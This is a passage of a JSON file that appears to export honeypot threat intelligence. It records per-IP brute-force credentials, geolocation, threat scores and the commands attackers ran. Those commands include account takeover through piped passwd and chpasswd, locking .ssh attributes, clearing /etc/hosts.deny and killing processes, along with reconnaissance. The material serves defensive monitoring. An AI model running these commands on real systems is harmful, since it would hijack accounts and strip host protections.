        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"rebecca\\nNbuZjHqZRSmz\\nNbuZjHqZRSmz\\n\"|passwd",
        "echo -e \"rebecca\\nNbuZjHqZRSmz\\nNbuZjHqZRSmz\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T14:07:16.210000+00:00",
        "last_seen_30d": "2026-03-14T14:30:00.105000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "88.18.209.3": {
      "attack_count": 118,
      "first_seen": "2026-03-05T08:09:19.487Z",
      "last_seen": "2026-03-05T08:30:06.896Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "ubuntu",
        "345gs5662d34",
        "test",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "@a123",
        "A12345678*",
        "Aa",
        "Aa123456!@#",
        "P@ssw9rd",
        "User@123456",
        "a12345661",
        "aaa@1234",
        "aaaaaa123456",
        "ubuntu@123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:vrjSxAehaYMR\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Pollen\u00e7a",
      "asn": 3352,
      "as_org": "Telefonica De Espana S.a.u.",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T08:09:19.487000+00:00",
        "last_seen_30d": "2026-03-05T08:31:17.011000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "132.226.22.31": {
      "attack_count": 103,
      "first_seen": "2026-03-04T04:26:02.998Z",
      "last_seen": "2026-03-04T05:05:37.997Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1234Zxcv",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa121212",
        "a123!@#",
        "aa6633960",
        "qq111111",
        "root@2026",
        "ubuntu123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ljq8SOoVx6VG\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T04:26:02.998000+00:00",
        "last_seen_30d": "2026-03-04T05:06:43.195000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 103,
        "Suricata": 23
      }
    },
    "186.154.90.114": {
      "attack_count": 99,
      "first_seen": "2026-03-12T04:34:01.333Z",
      "last_seen": "2026-03-12T05:03:53.446Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "claude",
        "345gs5662d34",
        "erp",
        "hari",
        "paid",
        "test101",
        "web_admin"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "Web_admin123!",
        "claude123",
        "hari1234",
        "paid123!",
        "test101pass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"claude123\\nyfXvyfjgjhYe\\nyfXvyfjgjhYe\\n\"|passwd",
        "echo -e \"claude123\\nyfXvyfjgjhYe\\nyfXvyfjgjhYe\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bogot\u00e1",
      "asn": 19429,
      "as_org": "Colombia",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 121,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T04:34:01.333000+00:00",
        "last_seen_30d": "2026-03-12T05:04:54.399000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 99,
        "Suricata": 22
      }
    },
    "138.68.159.105": {
      "attack_count": 98,
      "first_seen": "2026-03-11T07:36:09.254Z",
      "last_seen": "2026-03-11T07:54:42.676Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "123456789",
        "P@ssw0rd",
        "admin",
        "admin123",
        "alpine",
        "changeme",
        "letmein",
        "passw0rd",
        "password",
        "qwerty",
        "root",
        "root123",
        "toor",
        "welcome"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 137,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T07:36:05.058000+00:00",
        "last_seen_30d": "2026-03-11T07:55:47.398000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 98,
        "Suricata": 39
      }
    },
    "176.78.68.31": {
      "attack_count": 94,
      "first_seen": "2026-03-26T06:02:09.084Z",
      "last_seen": "2026-03-26T06:15:51.908Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "lisa",
        "345gs5662d34",
        "beta",
        "ece",
        "jvj",
        "work"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "beta",
        "ece",
        "jvj",
        "lisa",
        "work"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"lisa\\nezEPSoR6kYId\\nezEPSoR6kYId\\n\"|passwd",
        "echo -e \"lisa\\nezEPSoR6kYId\\nezEPSoR6kYId\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Amadora",
      "asn": 3243,
      "as_org": "Servicos De Comunicacoes E Multimedia S.A.",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T06:02:09.084000+00:00",
        "last_seen_30d": "2026-03-26T06:17:00.991000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 18
      }
    },
    "43.157.209.93": {
      "attack_count": 94,
      "first_seen": "2026-03-26T17:12:35.946Z",
      "last_seen": "2026-03-26T17:24:48.534Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "k8s",
        "345gs5662d34",
        "app",
        "dockeradmin",
        "ravi",
        "simone"
      ],
      "passwords_attempted": [
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "app123",
        "simone123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345\\nHY9rMN9Acgod\\nHY9rMN9Acgod\\n\"|passwd",
        "echo -e \"12345\\nHY9rMN9Acgod\\nHY9rMN9Acgod\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T17:12:35.946000+00:00",
        "last_seen_30d": "2026-03-26T17:25:50.176000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 17
      }
    },
    "185.133.42.191": {
      "attack_count": 85,
      "first_seen": "2026-03-08T21:05:39.631Z",
      "last_seen": "2026-03-09T10:01:17.564Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "bin",
        "admin1",
        "alpine",
        "ec2-user",
        "games",
        "jenkins",
        "kali",
        "linux",
        "nobody",
        "oracle",
        "postfix",
        "root",
        "sshd",
        "sys",
        "tomcat"
      ],
      "passwords_attempted": [
        "!admin",
        "changeme",
        "12345678",
        "1q2w3e",
        "admin",
        "admin123",
        "admin1234",
        "admin2026",
        "asdf",
        "pass2026",
        "raspberry",
        "senha123",
        "t00r",
        "zxcvbn"
      ],
      "commands_executed": [
        "whoami"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 57494,
      "as_org": "Adman LLC",
      "threat_score": 9.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 134,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T21:05:39.631000+00:00",
        "last_seen_30d": "2026-03-09T10:02:27.613000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 85,
        "Suricata": 49
      }
    },
    "142.93.79.84": {
      "attack_count": 80,
      "first_seen": "2026-03-11T15:01:57.653Z",
      "last_seen": "2026-03-11T15:43:55.245Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "solana",
        "sol",
        "ubuntu",
        "ethereum",
        "solv"
      ],
      "passwords_attempted": [
        "123456",
        "solana",
        "1",
        "12345678",
        "1234567890",
        "123@",
        "Sol",
        "Solana",
        "ethereum",
        "qwer1234",
        "sol",
        "solv",
        "ubuntu"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 121,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T14:58:12.264000+00:00",
        "last_seen_30d": "2026-03-11T15:45:05.372000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 41
      }
    },
    "116.110.208.45": {
      "attack_count": 72,
      "first_seen": "2026-03-09T22:13:49.991Z",
      "last_seen": "2026-03-09T22:34:34.100Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "cf1c22",
        "open",
        "strycek",
        "testftp",
        "vyos"
      ],
      "passwords_attempted": [
        "12345678",
        "abc123",
        "alpine",
        "calvin",
        "cf1c22",
        "htpcguides",
        "nimda",
        "open",
        "st13ip",
        "testftp",
        "vyos"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 9.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 104,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T22:13:49.991000+00:00",
        "last_seen_30d": "2026-03-09T22:35:42.713000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 32
      }
    },
    "5.161.233.230": {
      "attack_count": 58,
      "first_seen": "2026-03-28T02:56:18.365Z",
      "last_seen": "2026-03-28T11:50:08.581Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "0987654321",
        "123",
        "1234",
        "123456",
        "12345678",
        "123456789",
        "12345678910"
      ],
      "commands_executed": [
        "history | tail -5"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 213230,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T02:56:18.365000+00:00",
        "last_seen_30d": "2026-03-28T11:51:18.362000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 58,
        "Suricata": 33
      }
    },
    "165.22.106.85": {
      "attack_count": 57,
      "first_seen": "2026-03-05T02:36:32.097Z",
      "last_seen": "2026-03-05T07:35:06.044Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "cisco",
        "admin"
      ],
      "passwords_attempted": [
        "Admin123",
        "Admin@123",
        "admin"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 90,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T02:33:53.648000+00:00",
        "last_seen_30d": "2026-03-05T07:36:15.476000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 57,
        "Suricata": 33
      }
    },
    "77.83.240.70": {
      "attack_count": 57,
      "first_seen": "2026-03-09T07:42:35.955Z",
      "last_seen": "2026-03-09T07:47:11.460Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "Connection: keep-alive",
        "GET / HTTP/1.1",
        "GET //admin/config.php HTTP/1.1"
      ],
      "passwords_attempted": [
        "Accept-Encoding: gzip, deflate",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept: */*",
        "User-Agent: python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.119.1.el7.x86_64",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 68.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 30491,
        "days_active_30d": 22,
        "ports_targeted_30d": 1910,
        "honeypots_triggered_30d": 17,
        "first_seen_30d": "2026-03-02T02:22:27.251000+00:00",
        "last_seen_30d": "2026-03-23T14:46:45.042000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20931,
        "Honeytrap": 9051,
        "Sentrypeer": 289,
        "Cowrie": 57,
        "Dionaea": 36,
        "Miniprint": 27,
        "Mailoney": 21,
        "Redishoneypot": 18,
        "ConPot": 17,
        "Adbhoney": 12,
        "Dicompot": 12,
        "Ciscoasa": 5,
        "ElasticPot": 3,
        "H0neytr4p": 3,
        "Honeyaml": 3,
        "Ipphoney": 3,
        "Tanner": 3
      }
    },
    "103.176.16.255": {
      "attack_count": 50,
      "first_seen": "2026-03-21T21:35:52.525Z",
      "last_seen": "2026-03-21T21:41:29.060Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 135687,
      "as_org": "Qwistel Network Service Private Limited",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T21:35:52.525000+00:00",
        "last_seen_30d": "2026-03-21T21:42:31.202000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "110.38.221.11": {
      "attack_count": 50,
      "first_seen": "2026-03-03T01:11:11.830Z",
      "last_seen": "2026-03-03T01:16:36.198Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T01:11:11.830000+00:00",
        "last_seen_30d": "2026-03-03T01:17:37.856000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "109.73.196.76": {
      "attack_count": 49,
      "first_seen": "2026-03-19T22:21:25.784Z",
      "last_seen": "2026-03-19T22:59:55.732Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 9123,
      "as_org": "Jsc timeweb",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T22:21:25.784000+00:00",
        "last_seen_30d": "2026-03-19T23:01:03.548000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 49,
        "Suricata": 28
      }
    },
    "216.183.215.248": {
      "attack_count": 43,
      "first_seen": "2026-03-02T00:00:46.973Z",
      "last_seen": "2026-03-02T00:10:32.599Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "12312312",
        "123qweQWE!",
        "1@Qwertyuiop",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123123!",
        "Test1234!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Maldives",
      "country_code": "MV",
      "city": "Mal\u00e9",
      "asn": 55944,
      "as_org": "Ooredoo Maldives Plc",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:00:46.973000+00:00",
        "last_seen_30d": "2026-03-02T00:11:38.727000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 43,
        "Suricata": 15
      }
    },
    "125.41.7.236": {
      "attack_count": 38,
      "first_seen": "2026-03-17T09:51:48.678Z",
      "last_seen": "2026-03-17T09:55:54.925Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
